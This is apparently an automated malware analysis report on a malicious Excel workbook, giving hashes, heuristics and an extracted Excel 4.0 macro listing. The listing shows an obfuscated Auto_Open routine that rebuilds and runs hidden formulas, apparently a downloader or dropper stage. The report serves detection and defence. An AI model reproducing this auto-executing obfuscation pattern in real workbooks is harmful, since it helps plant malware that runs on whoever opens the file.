Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c97e2eb3b6f14f09…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:40:48 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: bcad28b8f86a6a4c1d016bb7c4655251 SHA-1: 351ae811766eb0acf75ee37db01e7dd81080f6e1 SHA-256: c97e2eb3b6f14f0994536e54e873aaff6507b42b8ed658dba8c1e07ca4b91e4c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary commands. This points to a macro-based downloader or dropper, aiming to execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6606 bytes
SHA-256: 3d603bf65b95856a422d57d9107a61f4a4e40ddb8089c533b91d9076d080bf0a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EnmhJSu
' 0018     24 LABEL : Cell Value, String Constant - afYqGOmjt len=0 
' 0018     22 LABEL : Cell Value, String Constant - ahPQofv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F186 
' 0018     24 LABEL : Cell Value, String Constant - ByznGxDRD len=0 
' 0018     21 LABEL : Cell Value, String Constant - eiqzPB len=0 
' 0018     24 LABEL : Cell Value, String Constant - ExkXWisRa len=0 
' 0018     23 LABEL : Cell Value, String Constant - gjLcYcKy len=0 
' 0018     22 LABEL : Cell Value, String Constant - gpLVvqW len=0 
' 0018     24 LABEL : Cell Value, String Constant - JBgAfcHnN len=0 
' 0018     24 LABEL : Cell Value, String Constant - JkNtqBNwY len=0 
' 0018     25 LABEL : Cell Value, String Constant - KCYYuRIvIY len=0 
' 0018     22 LABEL : Cell Value, String Constant - kIxzPbG len=0 
' 0018     21 LABEL : Cell Value, String Constant - rBAHOH len=0 
' 0018     22 LABEL : Cell Value, String Constant - RgTSxbj len=0 
' 0018     23 LABEL : Cell Value, String Constant - rLdJxHwm len=0 
' 0018     22 LABEL : Cell Value, String Constant - SholGSN len=0 
' 0018     23 LABEL : Cell Value, String Constant - wbsjoWKi len=0 
' 0018     25 LABEL : Cell Value, String Constant - WGzzZzwjSB len=0 
' 0018     21 LABEL : Cell Value, String Constant - xQLosm len=0 
' 0018     27 LABEL : Cell Value, String Constant - zACKkofyvClq len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZcWgz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EnmhJSu,F96,"SET.NAME("JBgAfcHnN",VALUE("0"))",""
'  EnmhJSu,F98,"SET.NAME("xQLosm",JBgAfcHnN)",""
'  EnmhJSu,F102,"SET.NAME("ZcWgz",JBgAfcHnN)",""
'  EnmhJSu,F104,"SET.NAME("gjLcYcKy",COUNTA(SholGSN))",""
'  EnmhJSu,F106,"SET.NAME("eiqzPB",COUNTA(ExkXWisRa))",""
'  EnmhJSu,F111,[],""
'  EnmhJSu,F115,"SET.NAME("JkNtqBNwY","")",""
'  EnmhJSu,F118,"xQLosm",""
'  EnmhJSu,F123,"SET.NAME("ByznGxDRD",HLOOKUP("*",SholGSN,xQLosm,FALSE))",""
'  EnmhJSu,F125,"wbsjoWKi",""
'  EnmhJSu,F130,"SET.NAME("zACKkofyvClq",JBgAfcHnN)",""
'  EnmhJSu,F135,[],""
'  EnmhJSu,F139,"zACKkofyvClq",""
'  EnmhJSu,F141,"afYqGOmjt",""
'  EnmhJSu,F143,"rBAHOH",""
'  EnmhJSu,F146,"WGzzZzwjSB",""
'  EnmhJSu,F151,"SET.NAME("ahPQofv",VALUE(HLOOKUP("*",ExkXWisRa,WGzzZzwjSB,FALSE)))",""
'  EnmhJSu,F155,"RgTSxbj",""
'  EnmhJSu,F159,"JkNtqBNwY",""
'  EnmhJSu,F161,"ZcWgz",""
'  EnmhJSu,F163,NEXT(),""
'  EnmhJSu,F167,"kIxzPbG",""
'  EnmhJSu,F170,"SET.NAME("f",INT(T(FORMULA(T(JkNtqBNwY)&"",""&T(kIxzPbG)))))",""
'  EnmhJSu,F175,"KCYYuRIvIY",""
'  EnmhJSu,F178,NEXT(),""
'  EnmhJSu,F181,RETURN(),""
'  EnmhJSu,F209,"SET.NAME("rLdJxHwm",F96)",""
'  EnmhJSu,F211,"SholGSN",""
'  EnmhJSu,F215,"SET.NAME("ExkXWisRa",R68C11)",""
'  EnmhJSu,F218,"SET.NAME("KCYYuRIvIY",225)",""
'  EnmhJSu,F222,"SET.NAME("gpLVvqW",6)",""
'  EnmhJSu,F224,rLdJxHwm(),""
'  EnmhJSu,F225,HALT(),""